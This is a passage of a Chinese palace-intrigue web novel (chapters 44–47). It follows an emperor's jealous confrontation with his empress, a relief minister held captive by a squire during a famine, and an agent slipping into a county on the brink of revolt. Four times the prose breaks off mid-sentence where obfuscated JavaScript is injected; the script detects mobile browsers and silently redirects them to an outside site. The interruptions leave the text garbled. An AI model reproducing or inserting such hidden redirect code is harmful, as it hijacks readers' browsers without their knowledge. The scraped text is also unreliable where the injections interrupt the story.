他掩藏好不安,拿了书案上青花瓷的小药瓶,欲为容鹿鸣眼角的新伤涂药。容鹿鸣犹显得不知愁,躲闪着:“一会儿再涂药,待我写完这行。” “留了疤怎么办?” “那就留着呗。” 那次返京余下的日子中,容鹿鸣除了在弘文馆授课,暗地里,亦开始为萧正则奔走,她收到宫中秘传的消息:静妃有意收个义子。 容雅歌也私下助力。一打打银票送出去,数场宴饮和交易,很快,萧正则被选中了。 而容鹿鸣从不图他显赫,更不需他报偿。她只希望他得以富贵安稳,寄情书画。更隐秘的想法是——她想要他代替自己肆意地活下去。 这些话要怎么说,怎么说得出口? 现今,萧正则疑心她以私财赠予赈灾官员,或许意图影响两党间的争斗。 腰侧的钳制越来越紧,容鹿鸣感到,她不怪萧正则生出猜忌,他并不知她当年调动前朝、后宫来助他,实则是为了慰藉己心。 她不会同他说这些,她已隐秘地觉察到,无论何时论及她的生死,竟都会令他失控。 他们师徒之间,到底是场孽缘。 容鹿鸣没有挣扎,她贴近他,让他高傲的头颅枕在她肩上,拍着他已可以瞬间积蓄力量的脊背,轻轻说:“你曾是我最欣赏的徒弟,我永不会像对你那样对待旁人。” 钳制化作一个拥抱。萧正则紧紧抱住她,这是他得自她的第一个承诺——唯一的承诺。 曾经她每回出征他都会问她,何时归来?若是写信,她从来不回。若是当面问出来,她但笑不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797672|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语。 他总不敢细想、不能细想,晚间噩梦连连。她在云淡风轻地告诉他,每一回都是生离死别。 昙现恰到好处的脚步声踏碎殿内宁谧,萧正则松开容鹿鸣。 昙现靠了过来,似有些话,需单独说与他。 “直接说罢,无妨。”萧正则道。 “回禀陛下,按理说察事处的信今晚必至,可……” 萧正则与容鹿鸣对视一眼,转身看向案几上的舆图,在容鹿鸣标注的运河一段重重敲了几下。 “昙现,立即让门下省拟旨,说北境军费告急,催促林如柏压运盐税两日内务必赶到祁县乌蒙镇,由那里的驿站枢纽转运所需部分至北境战场。令人快马加鞭,子时之前,旨意必须送出。” 祁县的乌蒙镇,正是那传出民变的三镇之一。 “等等,”容鹿鸣于心间算了算,“就说要他后日晚间必至,便于交接转运事宜。” 萧正则长眉轻挑,“就按皇后说的。” “是。”昙现疾步走了。 容鹿鸣在心里道了声:“妙。”不愧为棋友,他们心有戚戚。 “朕已棋盘落子,皇后当如何?” 他笑着望她,如邀她对弈一场。 “容小虎,得还给臣妾一下。” “前日,已派他去了祁县。”说罢,萧正则审视着容鹿鸣。 容小虎真未给她留下信息?他思忖,想从她脸上找出蛛丝马迹。 容鹿鸣容色如常,蹙起眉,问道:“除了陈卓陈侍郎的奏疏,陛下可还收到西南受灾县寄来的文书?” “皇后的意思是……” “控制官驿不算件难事。” 萧正则轻轻敲击着舆图,他明白容鹿鸣的意思。视线上挑,图中的另一处标记吸引了他。 和运河上的同色标记,出现的地方却唤起他不快的回忆。 “鸣鸣何故在我国与西戎边境亦标上一笔?”萧正则转头问她。 他的语气明明更显亲昵,容鹿鸣却知道,他怒了,而且怒极。 容鹿鸣向来不喜形于色,旁人难以揣测她心思。可萧正则不同,他清楚她每一次缓慢眨眼、右手无名指压向手掌,都意味着什么。 她不能趁此机会说明晋与西戎当重新盟约,以稳定西境,让国家、兵民自双边作战的困境中解脱出来……现在不是时候,西戎“辰王之乱”仍笼在迷雾中,两国误会重重,稍有不慎…… 萧正则仍笑着,脑中画面一闪:若将面前之人拷在囚椅上…… “你这是预备,若民变起了,以你和西戎靖王——宇文靖的……”他顿住了,然后厌恶不已地吐出那个词,“交情,他大抵会以书信支会于你,刚好可以绕开那几个镇的官驿。这样说来,可比朕的信息还要快呐。” 容鹿鸣蓦地跪下,以首触地,口称:“臣妾不敢!” 萧正则出声地笑了,“抬起头!或许,你计划的是另一件事,若我铁了心将那西南三镇做了两党争斗的‘斗兽场’,静观其变,以你的秉性,难道不会私下传信宇文靖?他的封地刚好在边境,派几队人趁乱潜入,平了民乱,并不是难事。” 44. 棋子与棋子(二) 容鹿鸣依旨直起身子,眼睛却看向地面。这宝相纹的波斯地毯真是色彩艳丽……萧正则句句言中,他太了解她,了解她面皮之下、算计之中,每一寸经纬。 “我这是,给自己养了个敌人吧,以心饲之……”她暗想,一句话也辩不出,亦不想辩。 “容鹿鸣,你看着我!”他极少唤她大名。 她跪着,仰视着他。 他冰冷的手指压上她玉色脖颈,她脉搏在他指下挣扎,跳动很快。 “若你,容鹿鸣,再给宇文靖写一封信,或是再和别人谈起他,我一个冲动之下,可能会把与西戎的新仇旧恨一并算了,先派人偷袭宇文靖的封地,火攻,就用火攻,从那里撕开口子,再派骑兵长驱直入……自上次他助你假死之后,我脑中就常常想着这个。”他没怎么用力,急怒之中仍克制着,怕不慎伤了她。手指划向她面颊,捧着她的脸,如捧一朵爱极了的花。 “若我真那样做了,容鹿鸣,那只会是因为你。望你切切记得!”说罢,他头也不回地走了。脑中闪现把她压入天牢的画面,真甜美,他品味着,可他不会那样做。 祁县,乌蒙镇,祁县县衙就设在这里。 叶德邻虽派兵威吓那些企图闹事的饥民,但严禁兵士伤及平民,他心中不忍。 好话说尽,乡绅和富户们犹不愿出借粮食。说得急了,一个个跪地指天,不知是真无余粮,还是装得太像。衙署之内,有人建议,不如把那些富户抓起来用刑! 他听罢只摇头,君子有所为有所不为。 赈灾的款、粮,几经盘剥,到手不足三成。这样救命的财资他们也敢贪墨! 少有的,他感到心中无力。他由衷相信君是明君,奈何朝中浊水太盛。他以自家祖屋、田产换来的银子买来的邻县粮食,现下,已耗去一大半。 向陛下寄去的奏疏久无回应……他坐于简陋的衙署内,心中颇不宁静,总觉得有事情要发生。 “林尚书,”门子弓着腰,快步走进署内,“这是严乡绅刚刚差人送来的请帖,请……” 不待那门子说完话,叶德邻已一把抢过请帖,打开来看。 是请叶德邻前去赴晚宴的,去他城郊的别院里。 叶德邻眼前一亮。前些日子,那些人口径一致,绝不借粮,如同是铁板一块儿。看来这严乡绅与他们不同,到底是多读了些圣贤书,心中尚怀悲悯。 他望了眼天色,急忙叫下人来帮他重新束了发,又刮了脸。这几日他忙得焦头烂额,根本无暇顾及仪容,镜中看去,已是怒目金刚的模样。 他换上干净的圆领袍,束好革带。 县丞道:“宴请是在晚上,那严家别院离城内不甚远,大人现在便要出发?” “本官先去几个粥厂、医棚看看灾民,再去赴宴。” “那请大人稍后,属下去为大人备轿。” “非常时期,还乘什么轿子,叫人把后院的驴牵来就好。不仅县令,轿夫中有两人都染了时疫。本官这厢前去,恐会晚归。若有什么事,你要多多照应。” “谨遵大人吩咐。” 叶德邻早上出门时还算是衣着光鲜吧,城内转过一圈,看守饥民的守卫一一交代过去:“莫要与灾民动手。” 又去医棚看了看,这两日新赶着搭起来的遮阳棚还算坚固。叶德邻看了看天边云彩,后两日怕是会有大风,他嘱咐管事的小吏记得再把这窝棚的衔接处加固。 几位大夫已是两三日未眠,熬药的炉子旁又缺了人手。叶德邻卷起袖子,蹲身,拉起了风箱。 直到随侍的小厮提醒他时辰,他才从窝棚深处走出来,洗净手,喝了碗凉水,骑上驴,赶去赴宴。 一路上,他笑,小厮也笑。 “嘿,你老笑什么?” “小人不敢说。”那小厮年纪小,虽这样说,犹自向叶德邻脸上瞟。 “你且说,我恕你无罪。” “哈哈,大人的脸上,”小厮比了比鼻下,“有好长一条胡子。” 应是刚刚手沾了炉灰又抹到了脸上。 他用袖口内侧擦了去。边擦也边哈哈笑。 “大人笑什么?”小厮心里毛毛的。 “你还说我,你脸上也是!”叶德邻指着他鼻子到眼下的一大块地方,笑得更响。 这么笑了一笑,解去了这天的大半疲乏。前行的路,也不觉得远了。 傍晚时分,他们行到了地点,远远望见严家宅门前的灯笼。石榴红的羽纱大灯笼。 严乡绅亲自出门相迎,身后跟着管家和个几个侍女。 “叶尚书前来,我严宅蓬荜生辉。陪客的人皆已到了,某先带叶尚书净手。” 叶德邻被严乡绅带着,走进间雅致的套间,随身的小厮留在外面。侍女捧来净手用的水,盛在铜盆之中,幽幽香着。奇怪,那香味儿越闻越浓,不一会儿,叶德邻失去了意识。 醒来时天已大亮,头晕脑胀,叶德邻反应了一会儿,才意识到自己身在何方。起初,他有些愧疚,心说怪自己这些时日未睡好,赴宴时竟在主人家里睡着了,委实失礼。 榻前的矮几上摆着个茶盘,里面放着一碟唐果子、一碟胡饼、一壶茶。另一旁放着盥洗用品。 “真贴心。”他想着,出声喊他贴身的小厮。 无人应答。这小厮机敏能干,不应当如此。他预备去院中找人,却发现——门打不开了,被从外面死死锁住! 他猛然想起昨日之事,立即去推窗,几扇窗俱被锁死!他明白过来,这是严乡绅设的局。 不,不是严乡绅。他叶德邻可是朝廷命官,一个乡绅,怎么敢?必是他背后的人,敢为之的人,会是谁? 他心里升起个名字。 叶德邻一夜未归,其他人均不知,唯县丞知晓。 几个管事的吏员、县兵校尉来向叶德邻请示,县丞说道:“叶尚书昨晚归来身体不适,某速找大夫来看,说是同咱们县太爷一样,俱是染了时疫。某已令大夫和下人们细心看顾。” 闻听又是时疫,众人也断了探望之念。 县兵校尉道:“属下遵叶尚书命令,前来汇报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815577|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,昨日灾民一切安好,只是亟盼下一波救灾粮。按叶尚书先前嘱咐,若有紧急情况,还请县丞定夺。”说罢抱拳离开。他带的一名亲兵随他一道离开,转身片刻,与县丞交了交视线。 叶德邻枯坐在雅致的房间内,名人字画悬于雪壁,粉彩的、豇豆红的、斗彩的,几件名贵瓷器点缀在多宝槅上。这儿真是个精致的牢笼。 他们没有捆住叶德邻手脚,大抵觉得他不过一介文臣,门窗一锁,翻不出多大风浪。叶德邻门窗拍遍,嗓子喊哑,无人应答。 “看来,百无一用是书生呐……”他自叹。又抱着点希望等,他彻夜不归,县衙定有有人觉察,前来寻他。 等至午后、傍晚、夜深,屋外没有一点动静,只有来送餐饭的人来了又去。 至今无人来寻他,只有两种可能,一是这严家别院太偏僻,旁人找不到。二是他手底下的官员之中有内鬼,那人也参与了此次软禁,再编个理由……染时疫,就说他染了时疫,既解释了他的“失踪”,又免得众人前去探望。 显然,是第二种。 他在心里苦笑,想朝政、想自己。然后,使劲闭了闭眼,端起冷掉的饭菜,大口吃了起来。他不会绝食,文人那一套对他们无用。 他要养精蓄锐,与他们斗一斗。 这屋里,黄花梨的万字花窗旁,不和谐地开了个小臂宽的圆洞,以木板紧覆之,只在给他送饭时开启。“这是特意为我设计的。”他心说,也许逃遁之法也在于此。 他在耐心地等。 第一日、第二日,第三日,来给他送饭的人变了。伸进那小圆门的衣袖依旧质地精良,可明显的,不合身,露出一截手腕。手指上有老茧,实在不像是大户人家中颇受主人信任的侍女,似是干粗活的女工,女工有时可以出去采买…… 从脚步声判断,来者唯此一人,守卫俱在院门处。于是,他一把扯住那衣袖,“娘子,事急从权,请恕冒昧。某乃工部尚书叶德邻,因着些缘故,被困于此。忧急灾民生计,不知这几日外界可有大事发生?” 那侍女受到惊吓,猛得一怔,使力想扯回衣袖。 “娘子,某别无他意,确是奉了圣谕前来赈灾。他松出一手,去扯腰牌,另一手仍死死攥住那侍女的衣袖,这是陛下御赐的。” 龙纹、金字,那侍女认得。她的手臂不再挣动。 叶德邻也松开手。“某有个和娘子一般大的女儿,若此回赈灾不利,灾民枉死,某亦不必再回京见女儿了……” “你真是京里来的官?” 叶德邻苦笑,拍拍那腰牌。 “能……能制住县里那些兵爷?” 叶德邻敏锐地觉察到一丝异常,“县里的兵爷,做了什么事吗?” 身后明明无人,那侍女还是慌张地左右看看,再开口时先落了泪:“大人不知!那些兵爷不问缘由,突然抓了好多灾民,还抽出刀,杀了两个饿得奄奄一息的灾民,说他们……说他们犯上作乱!黄天在上,都是被逼入死地的人,饿死便饿死了,连蝼蚁都不如,怎么敢作乱?” 45. 棋子与棋子(三) 那侍女低声抽噎着,“连小茹的阿耶也被他们抓了!她家里仅几亩薄田,又连年的天灾重税,她阿耶狠心把她卖入严家做奴,只为让她能有口饭吃,不至饿死。这样好的人,宁肯自己一家吃野菜树皮,也要把赋税一一交上,说他犯上作乱,这世上,还有没有天理!” 她压抑不住,哭出声来,“小茹便是前几日给大人送饭的侍女,她卖了老爷、夫人赏她的几身衣裳和一对银镯子,凑了些钱,想去县衙看看,能不能把她阿耶赎出来……今日,她求了我来替她。她还有阿耶,我的阿耶已在这水灾、时疫中,病饿而死!大人说是奉了圣谕来,可要救救我们!”她反拉住叶德邻衣袖,如撕扯一般。 “某定不负所望!”叶德邻觉得自己不配自称“本官”。“某如今身陷于此,有些事,请娘子相助。” “可是要我去衙门报信?” “不急,”叶德邻顿了顿,“这几日衙门可有派人寻某?” “未有,我去街上采买,只见衙门忙着抓人!” 听她这么一说,叶德邻面上挂了冷笑。隔着小窗,对面的侍女看不见,他便任森森笑意晾着。 “不必通知衙门,且拜托娘子及茹娘子,将每日外面发生之事告知于某,若不便口说,可写于小纸条上,埋入饭食之中。某拜托娘子了。”虽然外面看不甚清,叶德邻犹对着小窗一揖。 “大人放心,我……奴婢记下了。大人……” “娘子可还有什么疑问?” “大人,不知该不该说,可是,奴婢还是想问,这些事,都和我家老爷有关,是吗?可老爷,明明是个好人呐,他常常帮助乡里,对我们这些下人,也都很宽和……”她的声音越来越小,渐渐隐没了。 她不待叶德邻回答,或说,是害怕听到那回答,匆匆行了一礼,疾步走开。 叶德邻踱回里间,坐在镂着柿蒂纹的黄花梨榻上,天阴得重了,恐将落下骤雨,不知河堤的防务有无松懈? 他幽幽叹了口气,腿伤疼得厉害。从食盒中提出茶壶,他给自己倒了杯热茶,饮一杯祛痛。 左手执杯,他食指外侧有道不自然的疤痕,那里原本有一行雕青细字,浸过汗水、沾过鲜血刺青:家国在肩。 他本容家军军中百夫长,在现今丞相容止的兄长麾下服役。 那回与北狄激战正酣,他孤身追击北狄副将,杀敌心切,不慎落入敌人埋伏——被绊马索绊落马下,滚落山崖。幸而,被一棵老藤缚住,又被上山砍柴的村民救下。 北狄人来那边境小村搜了数次。由他的刺青,村民们知晓他是容家军,无人前去告密。 郎中用土方去掉了他指上的刺青,对外谎称他是自家的傻儿子,趁家中无人,跑到山上去捕兔子,不慎摔了下来,已是丢了半条命。村民们在一旁附和,抹着眼泪。 北狄人信了。 他捡回一条命,在床上躺了半年。村民们挨家挨户轮流照顾他。他深深感念他们的恩德,村民们说:“容家军救过我们所有人的命。容家军一定会打回来的。” 待他终于能从床上站起来,他发现,自己的一条腿已是跛了,手臂已不能握剑,腰上的伤让他也再不能骑马。 重伤加身时、鏖战不息时,他都没有滴过泪。那个晚上,他饮了杯浊酒,敬月亮、敬容老将军,抹去脸上的泪,决定捡回书本,参加科举。 容老将军曾对他说过:“你这娃娃文笔不错,若将来息了战乱,定要弃武从文。收收脾气,会是个好文吏。 他谨遵容老将军的嘱咐,磨好刀笔,戴好面具,步入官场。 指上的雕青细字已被蚀掉,不,没有蚀掉,那字——一直刻在他心上。 他环视四周,以一个老兵的敏锐。这是一处牢笼,也可成为一处陷阱,且等等看,那侍女会带回什么消息。 容小虎领了一小队人马,藏了圣旨,悄然来到祁县县衙所在处,乌蒙镇。 这些人都来自察事处,暂时的,听容小虎调遣。虽未过多交谈,容小虎看得出,这些人都在军中呆过。 不是容家军,会是哪里的军队呢? 他们一行人先在城外的驿站落脚,驿丞见了察事处的腰牌,什么也不敢问,很快帮他们准备好需用的破旧衣物,并将驿站内最僻静几个房间留给了他们。 他们在屋内换好衣装,列成一队站在容小虎面前。容小虎让驿站小厮去弄了些锅烟、土灰,往他们脸上抹了抹,自己脸上也抹了。 “咱们现在是饥民,眼神都收着些。一会儿咱们分散入城,见机行事。” “是。” 城门处,来往的人不少,守卫比平时多,看过通行证,还要检查随身货品,甚至,搜身。看到此景,容小虎便知道,城内有事发生了。 他想到容鹿鸣写给他的字条,纵然阅后即焚,字条上的字和其中细节,还是深深印入他脑海。 他展开字条时即注意到,字条被折叠过数次,折痕颇深。容鹿鸣一向杀伐决断,不会这般犹豫。那么,是谁反复看过这字条? 不说容鹿鸣当下贵为皇后,即便仍是少将军时,谁敢私看她的手书? 字条是御前大太监昙现亲自送来的。那个能反复翻看且赞同的人,只有陛下。 字条上简短一句:民变不能起,亦不能不起。旁人读罢,大概会困惑。他却是明白的。他同容鹿鸣一道经过多少战役、诡计! 离入城口近了,前面还有十人。可以看见,卫兵搜身搜得真细,连随身的荷包都要打开来看。有个想入城的人带了什么东西,想贿赂那卫兵放他一马,反被那卫兵一把推开。 “这可不多见!”容小虎心说,感觉到身边的人有些紧张,额角的汗落在他手臂上。他不知这人真名,旁人都喊他“宋七”。 容小虎拍拍宋七肩膀,以眼神示意他放心。 更近了,前面还有六个人,有人辩说自己是个屠户,护卫不听,收了搜出的刀,还将那人绑了起来。 容小虎感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833979|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到宋七有些颤抖。该说他有先见之明吗?他特地挑了个最年轻的一起,想着万一出了乱子,自己可以替他遮掩。 前面还有三个人!卫兵的视线已向他们扫来。他们身上都藏有利器。 容小虎又瞥了眼宋七,他们这样很难通过,只好…… 他猛得扯住宋七衣领,扯得他脚跟离地,继而双目赤红,朝他大声吼道:“你说什么,你说咱爹得了时疫死了!” 四周的人听到“时疫”二字,纷纷避开了些。 容小虎一边往前挤,一边抡起拳头,一拳打到宋七的脸上,“你个不孝子,早不来找我,等咱爹蹬了腿,你才来找我,找我回去签卖田的契书!想都不要想,长兄如父,今天我就代替阿耶打死你!” 他看到容小虎递来的眼神,不知是吓的还是真懂了,“哇”的一声,嚎啕大哭起来:“你不配提阿耶!整日的不着家,我替你行孝膝前,你还要打死我!好,你打,你当着兵爷的面打死我!” 说罢往城门守卫面前一跪,抱住最凶悍的那人大腿,哭求:“我阿耶染了时疫,我辛苦给他送了终,被逼无奈,卖田还药费,大哥反诬我不孝,要打死我,求兵爷为小民做主!” 那凶悍的兵士一听“时疫”,即刻将宋七往旁边一蹬,又见容小虎提着拳头奔来,以手点住他:“停!这里是何处,也容得你撒野!” “兵爷,我阿耶……”见他眼圈红着,也要往下跪,那卫兵厌烦极了。又见他俩衣衫褴褛,满身泥灰,挨都不想挨他们。 “你们俩,别在这碍事,滚进去吵!” 他们进了城,走出好远才擦了泪。七扭八拐,转入暗巷。容小虎也做过守卫,守卫受到的训练是:那些畏畏缩缩、意图隐藏自己的人,常常是心怀不轨之人。若反其道而行之,反而不易引起怀疑。 “刚刚那拳,实在对不住。”容小虎抱拳一礼。 ”无妨。容侍卫真是——真是演得一出好戏。”宋七由衷道。 容小虎唇角轻微挑一下,心想,这才哪到哪,当年容鹿鸣带着他混进西戎,一鼓作气竟真的混入了军械坊。靖王宇文靖也在那儿作学徒,大半年过去了,他一直以为他们是哪里逃出来的家奴,却仍对他们青眼有加。 后来,宇文靖知道了他们的真实身份,容鹿鸣自己告诉他的。他当时的表情,容小虎永远不会忘,像是紧缚的心结蓦地解了,却又添了新的深重忧愁。 容小虎知道,宇文靖当时是真想把容鹿鸣杀了,不,确切来讲是据为己有吧,可这个,他不太敢乱猜。 察事处的几人陆续都入得城内。他们先前都在乌蒙镇呆过,熟悉城里的布局,不一会儿便在暗巷举齐。 以察事处的腰牌,他们可以在城里任何一处客栈、酒楼休息,受到最好的接待。但那样也会走漏风声。 暗巷则不一样。每处大些的县城都有这样的地方。 容小虎熟练地同暗巷巷口的人打着暗语,那人带着他们去见了此处头领。 46. 棋子与棋子(四) 容小虎搓掉左手上的泥灰,露出食指外侧的那道雕青细字。容家军的刺青,颜料和字体都极考究,外人无法仿制。 那头领见了,立即收了痞笑,抱拳道:“落脚之处,请随小人来。小人但凭大人吩咐。” 容小虎回了一礼,示意其余人跟上。 有人眼中闪过揣测的目光,堂堂容家军副将会和暗巷有什么关系? 当年,容雅歌曾救过暗巷的老头领。自此,老头领有言:“凡容家军需要,暗巷中人,万死莫辞!” 他们与容家军里应外合,曾在北境助官军从北狄人手中收复数座城池。 本是微末如尘埃,隐入泥土的人,容鹿鸣却郑重地对容小虎说过:“他们都堪称一个‘侠’字。” 头领为他们寻了处极妙的落脚点,从外面看,是间挺朴实的客栈,后院的杂物间里,藏着条秘密通道,可以直通暗巷。 “头领,我们一路入城,见几条主街都设了路障,这是怎么回事?”容小虎问。 “前日,城东赈粮处出了乱子,一两百灾民,却只有那么几斗粮食。饥民们挤过去疯抢,被官兵生生打死了好几个。整街的灾民义愤填膺,涌到县衙要说法。老县令染了时疫、病重,大家都知道。可前来赈灾的叶尚书也不出面,就出来个县丞作威作福,把灾民们给激怒了,设路障已抢了好几辆运粮车,隐隐已成了气候,官府也不去处置……” 头领话里有话,与一路而来看到的无差。容小虎心说:“果然,似乎有人藏于背后,在默默促成民变之事。” 他抓住了那个点,向头领问道:“您可知叶尚书身在何处?” “据说是也染了时疫,闭门养病,谁也不见。” “谁也不见?”容小虎咂摸着这话的余味。 “说是叶尚书自严乡绅家赴宴回来,便病倒了。” 容小虎与头领对视一眼,他们心中的疑惑都一样! “大人心中可有计划?” 容小虎笑了一笑,“待我先去摸摸底。有些地方,恐怕还需头领相助。”说罢,抱拳一礼。 “义不容辞。”头领抱拳答道。 头领走后,不大的房间里,连带容小虎,总共六人,席地而坐。 一名属下忍不住开口道:“容侍卫,咱们这样,太过冒险。邻县的兵已奉诏而来,藏于城外。不若我们直接带了兵杀进来,与本县士兵一道,把那些抢粮、械斗的乱民一绑,哪还会生什么民乱!” 容小虎摇摇头,“他们不过是为了活下来,兴许是被有心人利用了,除了抢粮,也没做什么伤天害理的事。可若军队蓦地开进来围捕他们,他们会怎么做?” 几个人想到了答案,都不敢说。 “灾民们会想,既然真不叫我们活,那我们就拼了。”容小虎平静地说,几人心中一颤。 “现下,我们尚需确认一件事。” “何事?” “咱们这身打扮,先去粥厂领些粥,趁机闹一闹。看看官军的态度,再看看灾民之中,有没有人前来拉拢。” “可,容侍卫……”有人仍心生疑虑。 “我们少将军常说,不试一试,怎么知道水深水浅?”他眼里闪着光,将随身的匕首抽出,置于矮几上。 他闻到危险的味道、阴谋的味道,同容鹿鸣一样,他们都会为这些味道——心旗摇荡。 几人会意,摘下兵刃。两两一起,从后门绕出客栈。选了不同的路,往城东的粥厂走去。 一路上,容小虎脸上挂着凄苦,微微垂下的眼睛却在观察,半个县城被淹,经了水灾的街道破败不堪,损坏的屋舍前,灾民们衣衫褴褛,住在破布搭成的窝棚里。 每一回放出视线,容小虎总是先遇到敌意,看到他也是灾民模样,那敌意便化了同命相连的悲苦、怜悯,或者,化作巨大的愤怒,不是针对他。每当决战之时,他常能在敌人脸上看见这种无名的愤怒。 不妙,他感到,某种力量正在聚合,民变一触即发!他接下来的行动可能找到突破口,也可能,打破某种平衡…… 所以少将军于字条上写到:民变不能起,亦不能不起。容小虎了然,加快脚步,心中没有恐惧和犹疑。 他要找到那个突破口。 快到粥厂,容小虎扯着宋七,拐入一个无人的角落。 “给我一拳,就打脸上,别打眼睛啊。” “……” “快,时间紧迫。” “属下……属下不敢。”他是知道容小虎赫赫战功的,哪里敢动手。 “都什么时候了,还敢不敢的,快,不然,我只能自己往墙上碰了。”容小虎拍拍身侧土墙,“我这一脑袋下去,估计这墙要塌。” “容侍卫要属下打这一拳是……” “当然是碰瓷了!” 文华殿内,美盼遵照容鹿鸣的吩咐,将个飞鸽传书送来的小竹筒呈了上来。 十分平静,美盼看上去,敛住了表情,似乎,呼吸也很轻,如同个陶俑。 殿内静得如同一潭死水。萧正则在看画,看多年前容鹿鸣画的那副《风雪墨竹图》。 他一边在看,一边在等。这一刻有些领悟了,缘何他自己和容鹿鸣都酷爱书画。 他们都喜静,喜爱某种舒缓的静止,打从骨子里厌恶嘈杂,渴望着画中恒久宁静的世界。 见他久不说话,昙现小心翼翼地打破平静:“陛下,凤仪宫的美盼姑娘送信来了。” 萧正则摊开左手,眼睛仍在看画。 那装信的小竹筒密封得十分严实,显然未被打开过,是送到容鹿鸣那里,又由那里直接送了来。 林党明明已控制了祁县所有驿站,这信,又是怎么送出来的? 萧正则不愿深想,将视线自画中割出来,看着手中竹筒。这样的密封方法、隐藏的鸽站、训练得这样好的信鸽……不是西戎的信息站,便是容家的! 怒气上涌。 萧正则反手,将竹筒重重掷在地上。当年晋国与西戎盟约尚存之际,容鹿鸣与宇文靖走得很近,甚而,宇文靖曾久久呆在容家军军中,向容鹿鸣学习兵法。容鹿鸣也向他学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849155|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习了许多西戎的知识,比如一些武器的制造方法、如何更好地驯养信鸽……那些经历,萧正则无从参与,只是听容鹿鸣谈起过。 他讨厌容鹿鸣兴味盎然地谈论别人。 昙现见萧正则似是平静下来,便默默捡起竹筒,恭敬地放回他掌中。 萧正则一点一点拆开这竹筒的密封,薄如蝉翼的纸卷在他指间了。四下俱是寂的、美的,倘打开这纸卷,平静便会立即碎了吧,他无端地想。 三指宽的纸条,草体写着些许词语,却连不成句,用的是军中暗语,容鹿鸣曾教过他。 看了又看,这是一步险棋,他想,怪不得容鹿鸣要选容小虎这枚好棋子。 明白了容鹿鸣的意图,他不慎担心祁县之事了。继而,他意识到,容鹿鸣在同他说话时换了种方式——只说一半或模棱两可,以防事情有变时,她好有退路吗? 这不是师徒之间、友人之间,更不是他不敢奢望的——夫妇之间的交谈,而是君臣之间。 不言其他,或许他连想做她的爱徒都不能。容小虎、宇文靖……也许还有容家军军中的许多勇士,他自己,竟不是容鹿鸣唯一的“作品”,也不是最好的吧。 他有些感伤,对她的智谋既有折服又添防备。 她于他卧榻之侧,既如猛虎,又似蔷薇。 容小虎在头上搭了块破布,遮住颧骨上显眼的淤伤。他觑了眼天色,借靖王的信鸽站发出的信息,京中应当收到了。这样的迅捷、准确,当真只有西戎的信鸽才可做到。不过,这事不可让第二个人知晓。 “跟好我,一会儿见机行事,该哭,哭!该闹,闹!被打免不了,护住要害。”容小虎对宋七说。 “是。” 他们塌着肩膀,装出饿极了的样子,朝粥厂那边挤。 人可真多,踩着别人的脚,才能奋力向前挤一步。可奇怪的是,混乱至此,卫兵却不多。 容小虎故意往卫兵那边挤,磕绊出一个趔趄,使劲朝中间一个卫兵身上撞。 “他奶奶的,敢往你爷爷身上碰,踢不死你!”那卫兵一骨碌站起来,对缩在地上的容小虎又踢又打。 容小虎哀嚎着,骂声不断:“狗日的,你们有本事怎么不去弄粮食,就会欺负灾民,吃着民脂民膏,反要作践我们……” 宋七此刻冲了过来,哭嚎道:“兵爷们开恩,莫打了、莫打了!”他扑进拳脚扬起的灰土中,着实挨了好几下。声音也带了哭腔,大喊道:“官兵打死人了!” 沸腾的人群静了,那一丁点儿粥几乎一瞬地被抢完了。抢不到粮食的灾民,饥饿的眼神投了过来,燃着愤怒,不知谁高喊一声:“打死他们!”炸响在此刻的静默中。 灾民们醒过来、动起来,推开容小虎他们,朝卫兵涌来,以破碗、以木棍、以石头,向卫兵身上砸,挥舞着拳头,“打死他们,打死他们!” 都是被饥饿和困苦折磨得几近麻木的人,此时,他们仿佛活了过来,因为愤怒! 最后的场面容小虎他们没看到——他们被几个人强行带走了。 47. 计熟事定(一) 容小虎他们被带至城西,这里地势较高,几乎未遭什么灾劫。粥厂、赈粮处都不设在这里。但灾民们受了水灾突至的惊吓,有些人选择在这里躲灾。一路上,可见一处处窝棚,有缝缀的粗布搭的,也有席子搭的。 